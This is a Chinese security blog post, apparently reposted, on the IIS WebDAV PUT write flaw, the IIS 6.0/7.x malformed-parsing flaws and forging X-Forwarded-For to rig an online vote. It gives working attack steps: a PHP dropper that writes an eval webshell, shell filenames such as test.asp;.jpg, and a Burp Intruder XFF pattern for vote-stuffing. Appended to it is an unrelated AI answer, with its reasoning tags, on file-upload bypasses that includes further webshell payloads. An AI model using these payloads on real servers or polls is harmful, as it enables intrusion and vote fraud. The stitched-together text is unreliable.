IIS写权限漏洞和XFF刷票原理

本文深入解析IIS服务器的PUT写入漏洞和畸形解析漏洞,包括利用方法及受影响版本。同时,详细介绍了如何利用X-Forwarded-For (XFF) 实现刷票攻击,包括具体步骤和所需工具。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

IIS写权限漏洞

PUT写入漏洞

此漏洞主要是因为服务器开启了webdav的组件导致的

1.扫描漏洞,yes,可以PUT:

2.用老兵的工具上传一句话文件test.txt,然后move改名为shell.asp

然后菜刀连接成功:

解析漏洞

影响版本:6.0、7.0、7.5

IIS 6.0解析利用方法有两种

1.目录解析

/xx.asp/xx.jpg

在网站下建立文件夹的名字为 .asp或.asa 的文件夹

其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行

2.文件解析

修改一句话文件名为test.asp;.jpg

在IIS6.0下,分号后面的不被解析,也就是说test.asp;.jpg会被服务器看成是mst.asp

还有IIS6.0 默认的可执行文件,除了asp还包含这三种:/mst.asa/mst.cer/mst.cdx

 

IIS 7.0/7.5畸形解析漏洞

在默认Fast-CGI开启状况下,黑阔上传一个名字为mst.jpg文件

内容为:

<?php
fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[wintry])?>’);
?>

然后访问mst.jpg/.php,在这个目录下就会生成一句话木马 shell.php

用到两个工具(完全可以用Burp替代):

1、IIS PUT Scaner By ZwelL 2、桂林老兵IIS写权限利用程序

https://pan.baidu.com/s/1PU70q4unoHt0S01oyuFnKw

第二个写入工具百度云不能分享,自行用Burp代替吧

X-Forwarded-For 刷票原理

刷票的原理是通过X-Forwarded-For(XFF)实现的。

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址。

一些开发者为了获取客户IP,我们经常会使用request.remote_ip来获得用户IP。

但是很多用户都是通过代理来访问服务器的,如果使用remote_ip这个全局变量来获取IP

开发者往往获得的是代理服务器的IP,并不是用户真正的IP。

                客户端=>正向代理=>透明代理=>服务器反向代理=>Web服务器

下面通过一个例子来实践

实践伪造 XFF

环境链接:点击传送

打开实验环境,是个投票系统,a2019现在是88票第4名,伪造XFF刷到第一名

点击给a2019投票,Burp抓包添加X-Forwarded-For字段,Intruder功能爆破重放

X-Forwarded-For:10.1.§0§.§1§

因为是微信投票,修改User-Agent为:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 MicroMessenger/6.0NetType/2G

 

转载于:https://www.cnblogs.com/wintrysec/p/10875060.html

<think>我们正在讨论ZVulDrill文件上传漏洞原理分析。根据引用[3]中提到的内容,文件上传漏洞通常涉及攻击者绕过安全检测机制上传恶意文件。虽然引用中没有直接说明ZVulDrill的具体实现,但我们可以基于一般文件上传漏洞原理进行推导。一般文件上传漏洞原理包括:1.服务器未对上传文件的类型、内容进行严格验证2.服务器配置不当导致某些文件被解析执行(如Apache的.htaccess配置、IIS的解析漏洞等)3.攻击者利用截断、双重后缀、大小变换等技巧绕过前端验证在ZVulDrill靶场中,可能模拟了以下漏洞场景:-前端仅使用JavaScript验证文件扩展名,攻击者可禁用JS或修改请求绕过-服务器端未检查文件内容类型(MIME类型)或仅检查HTTP(可伪造-存在解析漏洞,例如上传包含恶意代码的图片文件(如`shell.jpg.php`),利用服务器解析顺序执行恶意代码具体到ZVulDrill的实现,参考引用[4]中提到的“ZVulDrill靶场二次开发”,其可能继承了常见靶场(如Upload-labs)的漏洞设计模式。例如:```php//模拟有漏洞的上传处理代码(PHP示例)$target_dir="uploads/";$target_file=$target_dir.basename($_FILES["file"]["name"]);//漏洞点:仅检查文件扩展名且未规范化处理$imageFileType=strtolower(pathinfo($target_file,PATHINFO_EXTENSION));if($imageFileType!="jpg"&&$imageFileType!="png"){echo"只允许JPG/PNG文件";}else{move_uploaded_file($_FILES["file"]["tmp_name"],$target_file);echo"文件已上传至:".htmlspecialchars($target_file);}```攻击者可利用:1.**扩展名黑名单绕过**:使用`.php5`,`.phtml`等未被禁止的扩展名2.**双扩展名**:如`shell.php.jpg`(若服务器仅检查最后缀名)3.**%00截断**:在旧版PHP中,若文件名参数可控,可利用空字节截断(如`shell.php%00.jpg`实际保存为`shell.php`)对于解析漏洞的利用,ZVulDrill可能模拟:-**IIS6.0解析漏洞**:上传`shell.asp;.jpg`会被当作ASP执行-**Apache解析漏洞**:若存在畸形文件名如`shell.php.xxx`可能被解析为PHP§§相关问题§§1.ZVulDrill靶场中文件上传漏洞的具体挑战有哪些?2.如何防御文件上传漏洞?3.除了ZVulDrill,还有哪些靶场可以练习文件上传漏洞?</think>### ZVulDrill文件上传漏洞原理分析 ZVulDrill是一款专注于Web漏洞训练的靶场平台,其文件上传漏洞模块模拟了真实环境中常见的文件上传安全缺陷。核心原理是通过构造特殊文件绕过服务器的安全检测机制,实现恶意文件上传。以下是关键技术原理分析: #### 1. **客户端验证绕过** - **原理**:靶场仅依赖前端JavaScript验证文件扩展名(如仅允许`.jpg`, `.png`) - **攻击方式**:禁用浏览器JS或修改HTTP请求,直接上传`.php`文件 - **示例漏洞代码**: ```javascript // 前端伪代码(易被绕过) function checkFile() { var ext = file.value.split('.').pop().toLowerCase(); if (ext !== 'jpg' && ext !== 'png') { alert("仅支持图片格式!"); return false; } return true; } ``` #### 2. **MIME类型欺骗** - **原理**:服务器仅检查HTTP的`Content-Type`(如`image/jpeg`) - **攻击方式**:篡改上传请求的MIME类型 ```http POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg // 伪造MIME类型 <?php system($_GET['cmd']); ?> ``` #### 3. **解析漏洞利用** - **原理**:服务器配置缺陷导致非执行文件被解析 - **ZVulDrill模拟场景**: - **IIS 6.0目录解析**:`/uploads/shell.asp;.jpg` → 执行ASP代码 - **Nginx畸形路径**:`/uploads/shell.jpg%00.php` → 截断为`.php` - **Apache双重后缀**:`shell.php.jpg` → 优先执行`.php` #### 4. **文件内容检测绕过** - **原理**:靶场使用简单的文件检查(如`FFD8FF`标识JPEG) - **攻击方式**:在恶意脚本前添加合法文件 ```php // 图片马示例 \xFF\xD8\xFF\xE0 // JPEG文件 <?php eval($_POST['cmd']); ?> // 隐藏的PHP代码 ``` #### 5. **路径遍历漏洞** - **原理**:未过滤文件名中的特殊字符 - **攻击示例**: 上传`../../../var/www/html/shell.php` → 覆盖Web目录文件 > **漏洞本质**:ZVulDrill通过禁用或弱化安全机制(如未启用文件重命名、未设置隔离存储、禁用WAF规则),模拟开发者常见的配置失误,帮助学习者理解防御要点[^3][^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值